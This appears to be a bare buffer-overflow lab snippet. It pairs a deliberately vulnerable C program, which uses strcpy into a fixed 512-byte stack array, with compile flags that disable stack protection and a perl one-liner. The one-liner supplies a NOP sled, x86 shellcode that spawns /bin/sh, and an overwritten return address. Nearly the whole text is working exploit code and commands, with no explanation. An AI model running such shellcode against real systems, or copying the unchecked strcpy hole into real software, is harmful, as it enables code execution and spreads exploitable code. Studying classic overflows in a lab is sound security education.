// victim.c
#include <stdio.h>
int main(int argc,char *argv[])
{
char little_array[512];
strcpy(little_array,argv[1]);
printf("Your enter:\n%s\n",little_array);
return 0;
}
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o victim -g victim.c
./victim `perl -e 'print "\x90"x259 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x50\x1a\xed\xbf"x54'`